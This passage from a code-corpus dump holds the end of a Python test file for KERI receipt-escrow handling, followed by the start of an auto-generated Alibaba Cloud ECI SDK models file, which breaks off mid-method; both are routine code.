icpdig # key state updated so event was validated assert kvr.sn == 0 # key state successfully updated # apply ixn msg to Kevery to process psr.parse(ims=bytearray(ixnmsg), kvy=kvy) # kvy.process(ims=bytearray(ixnmsg)) # process local copy of msg assert kvr.serder.dig == ixndig # key state updated so event was validated assert kvr.sn == 1 # key state successfully updated # apply rotation msg to Kevery to process psr.parse(ims=bytearray(rotmsg), kvy=kvy) # kvy.process(ims=bytearray(rotmsg)) # process local copy of msg assert kvr.serder.dig == rotdig # key state updated so event was validated assert kvr.sn == 2 # key state successfully updated # assert Ure escrows have not changed assert len(kvy.db.getUres(dbing.snKey(pre, 0))) == 2 assert len(kvy.db.getUres(dbing.snKey(pre, 1))) == 2 assert len(kvy.db.getUres(dbing.snKey(pre, 2))) == 2 # verify Kevery process unverified receipt escrow i # assuming not stale but nothing else has changed kvy.processEscrowUnverNonTrans() # check escrows removed assert len(kvy.db.getUres(dbing.snKey(pre, 0))) == 0 assert len(kvy.db.getUres(dbing.snKey(pre, 1))) == 0 assert len(kvy.db.getUres(dbing.snKey(pre, 2))) == 0 # verify receipts receipts = kvy.db.getRcts(dbing.dgKey(pre, icpdig)) assert len(receipts) == 2 rctPrefixer, rctCigar = eventing.deReceiptCouple(receipts[0]) assert rctPrefixer.qb64 == wit0pre rctPrefixer, rctCigar = eventing.deReceiptCouple(receipts[1]) assert rctPrefixer.qb64 == wit1pre receipts = kvy.db.getRcts(dbing.dgKey(pre, ixndig)) assert len(receipts) == 2 rctPrefixer, rctCigar = eventing.deReceiptCouple(receipts[0]) assert rctPrefixer.qb64 == wit0pre rctPrefixer, rctCigar = eventing.deReceiptCouple(receipts[1]) assert rctPrefixer.qb64 == wit1pre receipts = kvy.db.getRcts(dbing.dgKey(pre, rotdig)) assert len(receipts) == 2 rctPrefixer, rctCigar = eventing.deReceiptCouple(receipts[0]) assert rctPrefixer.qb64 == wit0pre rctPrefixer, rctCigar = eventing.deReceiptCouple(receipts[1]) assert rctPrefixer.qb64 == wit1pre assert not os.path.exists(ks.path) assert not os.path.exists(db.path) """End Test""" def test_unverified_trans_receipt_escrow(): """ Test unverified transferable receipt escrow """ salt = coring.Salter(raw=b'0123456789abcdef').qb64 # init Salter psr = parsing.Parser() # init event DB and keep DB with basing.openDB(name="edy") as db, keeping.openKS(name="edy") as ks: # Init key pair manager mgr = keeping.Manager(keeper=ks, salt=salt) # Init Kevery with event DB kvy = eventing.Kevery(db=db) # create inception event with 3 keys each in incept and next sets # defaults are algo salty and rooted sith = ["1/2", "1/2", "1/2"] # 2 of 3 but with weighted threshold nxtsith = ["1/2", "1/2", "1/2"] verfers, digers, cst, nst = mgr.incept(icount=3, isith=sith, ncount=3, nsith=nxtsith, stem='edy', temp=True) assert cst == nst == sith srdr = eventing.incept(keys=[verfer.qb64 for verfer in verfers], sith=sith, nxt=coring.Nexter(sith=nxtsith, digs=[diger.qb64 for diger in digers]).qb64, code=coring.MtrDex.Blake3_256) pre = srdr.ked["i"] icpdig = srdr.dig mgr.move(old=verfers[0].qb64, new=pre) # move key pair label to prefix sigers = mgr.sign(ser=srdr.raw, verfers=verfers) msg = bytearray(srdr.raw) counter = coring.Counter(code=coring.CtrDex.ControllerIdxSigs, count=len(sigers)) msg.extend(counter.qb64b) for siger in sigers: msg.extend(siger.qb64b) icpmsg = msg # create receipter (validator) inception keys 2 of 3 rverfers, rdigers, cst, nst = mgr.incept(icount=3, ncount=3, stem='ray', temp=True) rsith = '2' # create recepter's inception event rsrdr = eventing.incept(keys=[verfer.qb64 for verfer in rverfers], sith=rsith, nxt=coring.Nexter(sith=rsith, digs=[diger.qb64 for diger in rdigers]).qb64, code=coring.MtrDex.Blake3_256) rpre = rsrdr.ked["i"] ricpdig = rsrdr.dig mgr.move(old=rverfers[0].qb64, new=rpre) # move receipter key pair label to prefix rsigers = mgr.sign(ser=rsrdr.raw, verfers=rverfers) msg = bytearray(rsrdr.raw) counter = coring.Counter(code=coring.CtrDex.ControllerIdxSigs, count=len(rsigers)) msg.extend(counter.qb64b) for siger in rsigers: msg.extend(siger.qb64b) ricpmsg = msg # create transferable receipt of inception message seal = eventing.SealEvent(i=rpre, s=rsrdr.ked["s"], d=rsrdr.dig) reserder = eventing.receipt(pre=pre, sn=0, dig=icpdig) # sign event not receipt resigers = mgr.sign(ser=srdr.raw, verfers=rverfers) rcticpmsg = eventing.messagize(serder=reserder, sigers=resigers, seal=seal) # Process receipt by kvy psr.parse(ims=bytearray(rcticpmsg), kvy=kvy) # kvy.process(ims=bytearray(rcticpmsg)) # process local copy of msg assert pre not in kvy.kevers # no events yet for pre (receipted) assert rpre not in kvy.kevers # no events yet for rpre (receipter) escrows = kvy.db.getVres(dbing.snKey(pre, 0)) # so escrowed receipts assert len(escrows) == 3 diger, sprefixer, sseqner, sdiger, siger = eventing.deTransReceiptQuintuple(escrows[0]) assert diger.qb64 == srdr.dig assert sprefixer.qb64 == rpre assert sseqner.sn == 0 assert sdiger.qb64 == rsrdr.dig assert siger.qb64 == resigers[0].qb64 # create interaction event srdr = eventing.interact(pre=pre, dig=icpdig, sn=1, data=[]) ixndig = srdr.dig sigers = mgr.sign(ser=srdr.raw, verfers=verfers) msg = bytearray(srdr.raw) counter = coring.Counter(code=coring.CtrDex.ControllerIdxSigs, count=len(sigers)) msg.extend(counter.qb64b) for siger in sigers: msg.extend(siger.qb64b) ixnmsg = msg # Create rotation event of receipter # get current keys as verfers and next digests as digers rverfers, rdigers, cst, nst = mgr.rotate(pre=rpre, count=3, temp=True) rsrdr = eventing.rotate(pre=rpre, keys=[verfer.qb64 for verfer in rverfers], sith=rsith, dig=ricpdig, nxt=coring.Nexter(sith=rsith, digs=[diger.qb64 for diger in rdigers]).qb64, sn=1, data=[]) rrotdig = rsrdr.dig rsigers = mgr.sign(ser=rsrdr.raw, verfers=rverfers) msg = bytearray(rsrdr.raw) counter = coring.Counter(code=coring.CtrDex.ControllerIdxSigs, count=len(rsigers)) msg.extend(counter.qb64b) for siger in rsigers: msg.extend(siger.qb64b) rrotmsg = msg # create receipt(s) of interaction message with receipter rotation message # create chit receipt(s) of interaction message seal = eventing.SealEvent(i=rpre, s=rsrdr.ked["s"], d=rsrdr.dig) reserder = eventing.receipt(pre=pre, sn=1, dig=ixndig) # sign event not receipt resigers = mgr.sign(ser=srdr.raw, verfers=rverfers) rctixnmsg = eventing.messagize(serder=reserder, sigers=resigers, seal=seal) # Process receipt by kvy psr.parse(ims=bytearray(rctixnmsg), kvy=kvy) # kvy.process(ims=bytearray(rctixnmsg)) # process local copy of msg assert pre not in kvy.kevers # no events yet for pre assert rpre not in kvy.kevers # no events yet for rpre (receipter) escrows = kvy.db.getVres(dbing.snKey(pre, 1)) # so escrowed receipts assert len(escrows) == 3 diger, sprefixer, sseqner, sdiger, siger = eventing.deTransReceiptQuintuple(escrows[0]) assert diger.qb64 == srdr.dig assert sprefixer.qb64 == rpre assert sseqner.sn == 1 assert sdiger.qb64 == rsrdr.dig assert siger.qb64 == resigers[0].qb64 # Create rotation event or receipted # get current keys as verfers and next digests as digers sith = nxtsith # rotate so nxtsith is now current sith and need new nextsith # 2 of first 3 and 1 of last 2 nxtsith = [["1/2", "1/2", "1/2"],["1/1", "1/1"]] verfers, digers, cst, nst = mgr.rotate(pre=pre, count=5, sith=nxtsith, temp=True) assert cst == sith assert nst == nxtsith srdr = eventing.rotate(pre=pre, keys=[verfer.qb64 for verfer in verfers], sith=sith, dig=ixndig, nxt=coring.Nexter(sith=nxtsith, digs=[diger.qb64 for diger in digers]).qb64, sn=2, data=[]) rotdig = srdr.dig sigers = mgr.sign(ser=srdr.raw, verfers=verfers) msg = bytearray(srdr.raw) counter = coring.Counter(code=coring.CtrDex.ControllerIdxSigs, count=len(sigers)) msg.extend(counter.qb64b) for siger in sigers: msg.extend(siger.qb64b) rotmsg = msg # create receipt(s) of rotation message with rotation message of receipter # create chit receipt(s) of interaction message seal = eventing.SealEvent(i=rpre, s= rsrdr.ked["s"], d=rsrdr.dig) reserder = eventing.receipt(pre=pre, sn=2, dig=rotdig) # sign event not receipt resigers = mgr.sign(ser=srdr.raw, verfers=rverfers) rctrotmsg = eventing.messagize(serder=reserder, sigers=resigers, seal=seal) # Process receipt by kvy psr.parse(ims=bytearray(rctrotmsg), kvy=kvy) # kvy.process(ims=bytearray(rctrotmsg)) # process local copy of msg assert pre not in kvy.kevers # no events yet for pre assert rpre not in kvy.kevers # no events yet for rpre (receipter) escrows = kvy.db.getVres(dbing.snKey(pre, 2)) # so escrowed receipts assert len(escrows) == 3 diger, sprefixer, sseqner, sdiger, siger = eventing.deTransReceiptQuintuple(escrows[0]) assert diger.qb64 == srdr.dig assert sprefixer.qb64 == rpre assert sseqner.sn == 1 assert sdiger.qb64 == rsrdr.dig assert siger.qb64 == resigers[0].qb64 # Process out of unverified but stale escrow set Timeout to 0 kvy.TimeoutVRE = 0 # forces all escrows to be stale time.sleep(0.001) kvy.processEscrowUnverTrans() assert pre not in kvy.kevers # key state not updated assert rpre not in kvy.kevers # key state not updated for receipter # check escrows removed assert len(kvy.db.getVres(dbing.snKey(pre, 0))) == 0 assert len(kvy.db.getVres(dbing.snKey(pre, 1))) == 0 assert len(kvy.db.getVres(dbing.snKey(pre, 2))) == 0 # Now reset timeout so not zero and resend receipts to reload escrow kvy.TimeoutVRE = 3600 # Process receipt by kvy psr.parse(ims=bytearray(rcticpmsg), kvy=kvy) # kvy.process(ims=bytearray(rcticpmsg)) # process local copy of msg psr.parse(ims=bytearray(rctixnmsg), kvy=kvy) # kvy.process(ims=bytearray(rctixnmsg)) # process local copy of msg psr.parse(ims=bytearray(rctrotmsg), kvy=kvy) # kvy.process(ims=bytearray(rctrotmsg)) # process local copy of msg assert pre not in kvy.kevers # no events yet for pre assert rpre not in kvy.kevers # no events yet for rpre (receipter) # check escrows are back assert len(kvy.db.getVres(dbing.snKey(pre, 0))) == 3 assert len(kvy.db.getVres(dbing.snKey(pre, 1))) == 3 assert len(kvy.db.getVres(dbing.snKey(pre, 2))) == 3 # apply inception msg to Kevery to process psr.parse(ims=bytearray(icpmsg), kvy=kvy) # kvy.process(ims=bytearray(icpmsg)) # process local copy of msg assert pre in kvy.kevers # event accepted kvr = kvy.kevers[pre] assert kvr.serder.dig == icpdig # key state updated so event was validated assert kvr.sn == 0 # key state successfully updated # apply ixn msg to Kevery to process psr.parse(ims=bytearray(ixnmsg), kvy=kvy) # kvy.process(ims=bytearray(ixnmsg)) # process local copy of msg assert kvr.serder.dig == ixndig # key state updated so event was validated assert kvr.sn == 1 # key state successfully updated # apply rotation msg to Kevery to process psr.parse(ims=bytearray(rotmsg), kvy=kvy) # kvy.process(ims=bytearray(rotmsg)) # process local copy of msg assert kvr.serder.dig == rotdig # key state updated so event was validated assert kvr.sn == 2 # key state successfully updated # check escrows have not changed assert len(kvy.db.getVres(dbing.snKey(pre, 0))) == 3 assert len(kvy.db.getVres(dbing.snKey(pre, 1))) == 3 assert len(kvy.db.getVres(dbing.snKey(pre, 2))) == 3 # verify Kevery process unverified trans receipt escrow kvy.processEscrowUnverTrans() # check escrows have not changed because no receipter events assert len(kvy.db.getVres(dbing.snKey(pre, 0))) == 3 assert len(kvy.db.getVres(dbing.snKey(pre, 1))) == 3 assert len(kvy.db.getVres(dbing.snKey(pre, 2))) == 3 # apply inception msg of receipter to Kevery to process psr.parse(ims=bytearray(ricpmsg), kvy=kvy) # kvy.process(ims=bytearray(ricpmsg)) # process local copy of msg assert rpre in kvy.kevers # rpre (receipter) accepted rkvr = kvy.kevers[rpre] assert rkvr.serder.dig == ricpdig # key state updated so event was validated assert rkvr.sn == 0 # key state successfully updated # verify Kevery process unverified trans receipt escrow kvy.processEscrowUnverTrans() # check escrows have changed for receipts by receipter inception assert len(kvy.db.getVres(dbing.snKey(pre, 0))) == 0 assert len(kvy.db.getVres(dbing.snKey(pre, 1))) == 3 assert len(kvy.db.getVres(dbing.snKey(pre, 2))) == 3 # apply rotation msg of receipter to Kevery to process psr.parse(ims=bytearray(rrotmsg), kvy=kvy) # kvy.process(ims=bytearray(rrotmsg)) # process local copy of msg assert rkvr.serder.dig == rrotdig # key state updated so event was validated assert rkvr.sn == 1 # key state successfully updated # verify Kevery process unverified trans receipt escrow kvy.processEscrowUnverTrans() # check escrows have changed for receipts by receipter inception assert len(kvy.db.getVres(dbing.snKey(pre, 0))) == 0 assert len(kvy.db.getVres(dbing.snKey(pre, 1))) == 0 assert len(kvy.db.getVres(dbing.snKey(pre, 2))) == 0 # verify receipts receipts = kvy.db.getVrcs(dbing.dgKey(pre, icpdig)) assert len(receipts) == 3 rctPrefixer, rctSeqner, rctDiger, rctSiger = eventing.deTransReceiptQuadruple(receipts[0]) assert rctPrefixer.qb64 == rpre assert rctSeqner.sn == 0 assert rctDiger.qb64 == ricpdig receipts = kvy.db.getVrcs(dbing.dgKey(pre, ixndig)) assert len(receipts) == 3 rctPrefixer, rctSeqner, rctDiger, rctSiger = eventing.deTransReceiptQuadruple(receipts[0]) assert rctPrefixer.qb64 == rpre assert rctSeqner.sn == 1 assert rctDiger.qb64 == rrotdig receipts = kvy.db.getVrcs(dbing.dgKey(pre, rotdig)) assert len(receipts) == 3 rctPrefixer, rctSeqner, rctDiger, rctSiger = eventing.deTransReceiptQuadruple(receipts[0]) assert rctPrefixer.qb64 == rpre assert rctSeqner.sn == 1 assert rctDiger.qb64 == rrotdig assert not os.path.exists(ks.path) assert not os.path.exists(db.path) """End Test""" if __name__ == "__main__": test_out_of_order_escrow()

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c51c29688243f35154936b4f80e55c6e63eb8550

373,938

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Python

eci-20180808/python/alibabacloud_eci20180808/models.py

alibabacloud-sdk-swift/alibabacloud-sdk

afd43b41530abb899076a34ceb96bdef55f74460

[ "Apache-2.0" ]

null

eci-20180808/python/alibabacloud_eci20180808/models.py

alibabacloud-sdk-swift/alibabacloud-sdk

afd43b41530abb899076a34ceb96bdef55f74460

[ "Apache-2.0" ]

null

eci-20180808/python/alibabacloud_eci20180808/models.py

alibabacloud-sdk-swift/alibabacloud-sdk

afd43b41530abb899076a34ceb96bdef55f74460

[ "Apache-2.0" ]

null

# This file is auto-generated, don't edit it. Thanks. from Tea.model import TeaModel class DescribeRegionsRequest(TeaModel): def __init__(self, region_id=None): self.region_id = region_id def validate(self): pass def to_map(self): result = {} result['RegionId'] = self.region_id return result def from_map(self, map={}): self.region_id = map.get('RegionId') return self class DescribeRegionsResponse(TeaModel): def __init__(self, request_id=None, regions=None): self.request_id = request_id self.regions = [] def validate(self): self.validate_required(self.request_id, 'request_id') self.validate_required(self.regions, 'regions') if self.regions: for k in self.regions: if k : k.validate() def to_map(self): result = {} result['RequestId'] = self.request_id result['Regions'] = [] if self.regions is not None: for k in self.regions: result['Regions'].append(k.to_map() if k else None) else: result['Regions'] = None return result def from_map(self, map={}): self.request_id = map.get('RequestId') self.regions = [] if map.get('Regions') is not None: for k in map.get('Regions'): temp_model = DescribeRegionsResponseRegions() temp_model = temp_model.from_map(k) self.regions.append(temp_model) else: self.regions = None return self class DescribeRegionsResponseRegions(TeaModel): def __init__(self, region_id=None, region_endpoint=None, zones=None): self.region_id = region_id self.region_endpoint = region_endpoint self.zones = [] def validate(self): self.validate_required(self.region_id, 'region_id') self.validate_required(self.region_endpoint, 'region_endpoint') self.validate_required(self.zones, 'zones') def to_map(self): result = {} result['RegionId'] = self.region_id result['RegionEndpoint'] = self.region_endpoint result['Zones'] = [] if self.zones is not None: for k in self.zones: result['Zones'].append(k) else: result['Zones'] = None return result def from_map(self, map={}): self.region_id = map.get('RegionId') self.region_endpoint = map.get('RegionEndpoint') self.zones = [] if map.get('Zones') is not None: for k in map.get('Zones'): self.zones.append(k) else: self.zones = None return self class DescribeImageCachesRequest(TeaModel): def __init__(self, region_id=None, image_cache_id=None, image_cache_name=None, snapshot_id=None, image=None): self.region_id = region_id self.image_cache_id = image_cache_id self.image_cache_name = image_cache_name self.snapshot_id = snapshot_id self.image = image def validate(self): self.validate_required(self.region_id, 'region_id') def to_map(self): result = {} result['RegionId'] = self.region_id result['ImageCacheId'] = self.image_cache_id result['ImageCacheName'] = self.image_cache_name result['SnapshotId'] = self.snapshot_id result['Image'] = self.image return result def from_map(self, map={}): self.region_id = map.get('RegionId') self.image_cache_id = map.get('ImageCacheId') self.image_cache_name = map.get('ImageCacheName') self.snapshot_id = map.get('SnapshotId') self.image = map.get('Image') return self class DescribeImageCachesResponse(TeaModel): def __init__(self, request_id=None, image_caches=None): self.request_id = request_id self.image_caches = [] def validate(self): self.validate_required(self.request_id, 'request_id') self.validate_required(self.image_caches, 'image_caches') if self.image_caches: for k in self.image_caches: if k : k.validate() def to_map(self): result = {} result['RequestId'] = self.request_id result['ImageCaches'] = [] if self.image_caches is not None: for k in self.image_caches: result['ImageCaches'].append(k.to_map() if k else None) else: result['ImageCaches'] = None return result def from_map(self, map={}): self.request_id = map.get('RequestId') self.image_caches = [] if map.get('ImageCaches') is not None: for k in map.get('ImageCaches'): temp_model = DescribeImageCachesResponseImageCaches() temp_model = temp_model.from_map(k) self.image_caches.append(temp_model) else: self.image_caches = None return self class DescribeImageCachesResponseImageCachesEvents(TeaModel): def __init__(self, count=None, type=None, name=None, message=None, first_timestamp=None, last_timestamp=None): self.count = count self.type = type self.name = name self.message = message self.first_timestamp = first_timestamp self.last_timestamp = last_timestamp def validate(self): self.validate_required(self.count, 'count') self.validate_required(self.type, 'type') self.validate_required(self.name, 'name') self.validate_required(self.message, 'message') self.validate_required(self.first_timestamp, 'first_timestamp') self.validate_required(self.last_timestamp, 'last_timestamp') def to_map(self): result = {} result['Count'] = self.count result['Type'] = self.type result['Name'] = self.name result['Message'] = self.message result['FirstTimestamp'] = self.first_timestamp result['LastTimestamp'] = self.last_timestamp return result def from_map(self, map={}): self.count = map.get('Count') self.type = map.get('Type') self.name = map.get('Name') self.message = map.get('Message') self.first_timestamp = map.get('FirstTimestamp') self.last_timestamp = map.get('LastTimestamp') return self class DescribeImageCachesResponseImageCaches(TeaModel): def __init__(self, container_group_id=None, image_cache_id=None, image_cache_name=None, snapshot_id=None, progress=None, status=None, expire_date_time=None, creation_time=None, region_id=None, events=None, images=None): self.container_group_id = container_group_id self.image_cache_id = image_cache_id self.image_cache_name = image_cache_name self.snapshot_id = snapshot_id self.progress = progress self.status = status self.expire_date_time = expire_date_time self.creation_time = creation_time self.region_id = region_id self.events = [] self.images = [] def validate(self): self.validate_required(self.container_group_id, 'container_group_id') self.validate_required(self.image_cache_id, 'image_cache_id') self.validate_required(self.image_cache_name, 'image_cache_name') self.validate_required(self.snapshot_id, 'snapshot_id') self.validate_required(self.progress, 'progress') self.validate_required(self.status, 'status') self.validate_required(self.expire_date_time, 'expire_date_time') self.validate_required(self.creation_time, 'creation_time') self.validate_required(self.region_id, 'region_id') self.validate_required(self.events, 'events') if self.events: for k in self.events: if k : k.validate() self.validate_required(self.images, 'images') def to_map(self): result = {} result['ContainerGroupId'] = self.container_group_id result['ImageCacheId'] = self.image_cache_id result['ImageCacheName'] = self.image_cache_name result['SnapshotId'] = self.snapshot_id result['Progress'] = self.progress result['Status'] = self.status result['ExpireDateTime'] = self.expire_date_time result['CreationTime'] = self.creation_time result['RegionId'] = self.region_id result['Events'] = [] if self.events is not None: for k in self.events: result['Events'].append(k.to_map() if k else None) else: result['Events'] = None result['Images'] = [] if self.images is not None: for k in self.images: result['Images'].append(k) else: result['Images'] = None return result def from_map(self, map={}): self.container_group_id = map.get('ContainerGroupId') self.image_cache_id = map.get('ImageCacheId') self.image_cache_name = map.get('ImageCacheName') self.snapshot_id = map.get('SnapshotId') self.progress = map.get('Progress') self.status = map.get('Status') self.expire_date_time = map.get('ExpireDateTime') self.creation_time = map.get('CreationTime') self.region_id = map.get('RegionId') self.events = [] if map.get('Events') is not None: for k in map.get('Events'): temp_model = DescribeImageCachesResponseImageCachesEvents() temp_model = temp_model.from_map(k) self.events.append(temp_model) else: self.events = None self.images = [] if map.get('Images') is not None: for k in map.get('Images'): self.images.append(k) else: self.images = None return self class DeleteImageCacheRequest(TeaModel): def __init__(self, region_id=None, image_cache_id=None, client_token=None): self.region_id = region_id self.image_cache_id = image_cache_id self.client_token = client_token def validate(self): self.validate_required(self.region_id, 'region_id') self.validate_required(self.image_cache_id, 'image_cache_id') def to_map(self): result = {} result['RegionId'] = self.region_id result['ImageCacheId'] = self.image_cache_id result['ClientToken'] = self.client_token return result def from_map(self, map={}): self.region_id = map.get('RegionId') self.image_cache_id = map.get('ImageCacheId') self.client_token = map.get('ClientToken') return self class DeleteImageCacheResponse(TeaModel): def __init__(self, request_id=None): self.request_id = request_id def validate(self): self.validate_required(self.request_id, 'request_id') def to_map(self): result = {} result['RequestId'] = self.request_id return result def from_map(self, map={}): self.request_id = map.get('RequestId') return self class CreateImageCacheRequest(TeaModel): def __init__(self, region_id=None, zone_id=None, security_group_id=None, v_switch_id=None, image_cache_name=None, image_registry_credential=None, eip_instance_id=None, resource_group_id=None, client_token=None, image=None, image_cache_size=None, retention_days=None): self.region_id = region_id self.zone_id = zone_id self.security_group_id = security_group_id self.v_switch_id = v_switch_id self.image_cache_name = image_cache_name self.image_registry_credential = [] self.eip_instance_id = eip_instance_id self.resource_group_id = resource_group_id self.client_token = client_token self.image = [] self.image_cache_size = image_cache_size self.retention_days = retention_days def validate(self): self.validate_required(self.region_id, 'region_id') self.validate_required(self.security_group_id, 'security_group_id') self.validate_required(self.v_switch_id, 'v_switch_id') self.validate_required(self.image_cache_name, 'image_cache_name') if self.image_registry_credential: for k in self.image_registry_credential: if k : k.validate() self.validate_required(self.image, 'image') def to_map(self): result = {} result['RegionId'] = self.region_id result['ZoneId'] = self.zone_id result['SecurityGroupId'] = self.security_group_id result['VSwitchId'] = self.v_switch_id result['ImageCacheName'] = self.image_cache_name result['ImageRegistryCredential'] = [] if self.image_registry_credential is not None: for k in self.image_registry_credential: result['ImageRegistryCredential'].append(k.to_map() if k else None) else: result['ImageRegistryCredential'] = None result['EipInstanceId'] = self.eip_instance_id result['ResourceGroupId'] = self.resource_group_id result['ClientToken'] = self.client_token result['Image'] = [] if self.image is not None: for k in self.image: result['Image'].append(k) else: result['Image'] = None result['ImageCacheSize'] = self.image_cache_size result['RetentionDays'] = self.retention_days return result def from_map(self, map={}): self.region_id = map.get('RegionId') self.zone_id = map.get('ZoneId') self.security_group_id = map.get('SecurityGroupId') self.v_switch_id = map.get('VSwitchId') self.image_cache_name = map.get('ImageCacheName') self.image_registry_credential = [] if map.get('ImageRegistryCredential') is not None: for k in map.get('ImageRegistryCredential'): temp_model = CreateImageCacheRequestImageRegistryCredential() temp_model = temp_model.from_map(k) self.image_registry_credential.append(temp_model) else: self.image_registry_credential = None self.eip_instance_id = map.get('EipInstanceId') self.resource_group_id = map.get('ResourceGroupId') self.client_token = map.get('ClientToken') self.image = [] if map.get('Image') is not None: for k in map.get('Image'): self.image.append(k) else: self.image = None self.image_cache_size = map.get('ImageCacheSize') self.retention_days = map.get('RetentionDays') return self class CreateImageCacheRequestImageRegistryCredential(TeaModel): def __init__(self, server=None, user_name=None, password=None): self.server = server self.user_name = user_name self.password = password def validate(self): self.validate_required(self.server, 'server') self.validate_required(self.user_name, 'user_name') self.validate_required(self.password, 'password') def to_map(self): result = {} result['Server'] = self.server result['UserName'] = self.user_name result['Password'] = self.password return result def from_map(self, map={}): self.server = map.get('Server') self.user_name = map.get('UserName') self.password = map.get('Password') return self class CreateImageCacheResponse(TeaModel): def __init__(self, request_id=None, image_cache_id=None, container_group_id=None): self.request_id = request_id self.image_cache_id = image_cache_id self.container_group_id = container_group_id def validate(self): self.validate_required(self.request_id, 'request_id') self.validate_required(self.image_cache_id, 'image_cache_id') self.validate_required(self.container_group_id, 'container_group_id') def to_map(self): result = {} result['RequestId'] = self.request_id result['ImageCacheId'] = self.image_cache_id result['ContainerGroupId'] = self.container_group_id return result def from_map(self, map={}): self.request_id = map.get('RequestId') self.image_cache_id = map.get('ImageCacheId') self.container_group_id = map.get('ContainerGroupId') return self class DescribeMultiContainerGroupMetricRequest(TeaModel): def __init__(self, region_id=None, container_group_ids=None, resource_group_id=None, metric_type=None): self.region_id = region_id self.container_group_ids = container_group_ids self.resource_group_id = resource_group_id self.metric_type = metric_type def validate(self): self.validate_required(self.region_id, 'region_id') self.validate_required(self.container_group_ids, 'container_group_ids') def to_map(self): result = {} result['RegionId'] = self.region_id result['ContainerGroupIds'] = self.container_group_ids result['ResourceGroupId'] = self.resource_group_id result['MetricType'] = self.metric_type return result def from_map(self, map={}): self.region_id = map.get('RegionId') self.container_group_ids = map.get('ContainerGroupIds') self.resource_group_id = map.get('ResourceGroupId') self.metric_type = map.get('MetricType') return self class DescribeMultiContainerGroupMetricResponse(TeaModel): def __init__(self, request_id=None, monitor_datas=None): self.request_id = request_id self.monitor_datas = [] def validate(self): self.validate_required(self.request_id, 'request_id') self.validate_required(self.monitor_datas, 'monitor_datas') if self.monitor_datas: for k in self.monitor_datas: if k : k.validate() def to_map(self): result = {} result['RequestId'] = self.request_id result['MonitorDatas'] = [] if self.monitor_datas is not None: for k in self.monitor_datas: result['MonitorDatas'].append(k.to_map() if k else None) else: result['MonitorDatas'] = None return result def from_map(self, map={}): self.request_id = map.get('RequestId') self.monitor_datas = [] if map.get('MonitorDatas') is not None: for k in map.get('MonitorDatas'): temp_model = DescribeMultiContainerGroupMetricResponseMonitorDatas() temp_model = temp_model.from_map(k) self.monitor_datas.append(temp_model) else: self.monitor_datas = None return self class DescribeMultiContainerGroupMetricResponseMonitorDatasRecordsContainersCPU(TeaModel): def __init__(self, limit=None, load=None, usage_core_nano_seconds=None, usage_nano_cores=None): self.limit = limit self.load = load self.usage_core_nano_seconds = usage_core_nano_seconds self.usage_nano_cores = usage_nano_cores def validate(self): self.validate_required(self.limit, 'limit') self.validate_required(self.load, 'load') self.validate_required(self.usage_core_nano_seconds, 'usage_core_nano_seconds') self.validate_required(self.usage_nano_cores, 'usage_nano_cores') def to_map(self): result = {} result['Limit'] = self.limit result['Load'] = self.load result['UsageCoreNanoSeconds'] = self.usage_core_nano_seconds result['UsageNanoCores'] = self.usage_nano_cores return result def from_map(self, map={}): self.limit = map.get('Limit') self.load = map.get('Load') self.usage_core_nano_seconds = map.get('UsageCoreNanoSeconds') self.usage_nano_cores = map.get('UsageNanoCores') return self class DescribeMultiContainerGroupMetricResponseMonitorDatasRecordsContainersMemory(TeaModel): def __init__(self, available_bytes=None, usage_bytes=None, cache=None, working_set=None, rss=None): self.available_bytes = available_bytes self.usage_bytes = usage_bytes self.cache = cache self.working_set = working_set self.rss = rss def validate(self): self.validate_required(self.available_bytes, 'available_bytes') self.validate_required(self.usage_bytes, 'usage_bytes') self.validate_required(self.cache, 'cache') self.validate_required(self.working_set, 'working_set') self.validate_required(self.rss, 'rss') def to_map(self): result = {} result['AvailableBytes'] = self.available_bytes result['UsageBytes'] = self.usage_bytes result['Cache'] = self.cache result['WorkingSet'] = self.working_set result['Rss'] = self.rss return result def from_map(self, map={}): self.available_bytes = map.get('AvailableBytes') self.usage_bytes = map.get('UsageBytes') self.cache = map.get('Cache') self.working_set = map.get('WorkingSet') self.rss = map.get('Rss') return self class DescribeMultiContainerGroupMetricResponseMonitorDatasRecordsContainers(TeaModel): def __init__(self, name=None, _cpu=None, memory=None): self.name = name self._cpu = _cpu self.memory = memory def validate(self): self.validate_required(self.name, 'name') self.validate_required(self._cpu, '_cpu') if self._cpu: self._cpu.validate() self.validate_required(self.memory, 'memory') if self.memory: self.memory.validate() def to_map(self): result = {} result['Name'] = self.name if self._cpu is not None: result['CPU'] = self._cpu.to_map() else: result['CPU'] = None if self.memory is not None: result['Memory'] = self.memory.to_map() else: result['Memory'] = None return result def from_map(self, map={}): self.name = map.get('Name') if map.get('CPU') is not None: temp_model = DescribeMultiContainerGroupMetricResponseMonitorDatasRecordsContainersCPU() self._cpu = temp_model.from_map(map['CPU']) else: self._cpu = None if map.get('Memory') is not None: temp_model = DescribeMultiContainerGroupMetricResponseMonitorDatasRecordsContainersMemory() self.memory = temp_model.from_map(map['Memory']) else: self.memory = None return self class DescribeMultiContainerGroupMetricResponseMonitorDatasRecordsCPU(TeaModel): def __init__(self, limit=None, load=None, usage_core_nano_seconds=None, usage_nano_cores=None): self.limit = limit self.load = load self.usage_core_nano_seconds = usage_core_nano_seconds self.usage_nano_cores = usage_nano_cores def validate(self): self.validate_required(self.limit, 'limit') self.validate_required(self.load, 'load') self.validate_required(self.usage_core_nano_seconds, 'usage_core_nano_seconds') self.validate_required(self.usage_nano_cores, 'usage_nano_cores') def to_map(self): result = {} result['Limit'] = self.limit result['Load'] = self.load result['UsageCoreNanoSeconds'] = self.usage_core_nano_seconds result['UsageNanoCores'] = self.usage_nano_cores return result def from_map(self, map={}): self.limit = map.get('Limit') self.load = map.get('Load') self.usage_core_nano_seconds = map.get('UsageCoreNanoSeconds') self.usage_nano_cores = map.get('UsageNanoCores') return self class DescribeMultiContainerGroupMetricResponseMonitorDatasRecordsMemory(TeaModel): def __init__(self, available_bytes=None, usage_bytes=None, cache=None, working_set=None, rss=None): self.available_bytes = available_bytes self.usage_bytes = usage_bytes self.cache = cache self.working_set = working_set self.rss = rss def validate(self): self.validate_required(self.available_bytes, 'available_bytes') self.validate_required(self.usage_bytes, 'usage_bytes') self.validate_required(self.cache, 'cache') self.validate_required(self.working_set, 'working_set') self.validate_required(self.rss, 'rss') def to_map(self): result = {} result['AvailableBytes'] = self.available_bytes result['UsageBytes'] = self.usage_bytes result['Cache'] = self.cache result['WorkingSet'] = self.working_set result['Rss'] = self.rss return result def from_map(self, map={}): self.available_bytes = map.get('AvailableBytes') self.usage_bytes = map.get('UsageBytes') self.cache = map.get('Cache') self.working_set = 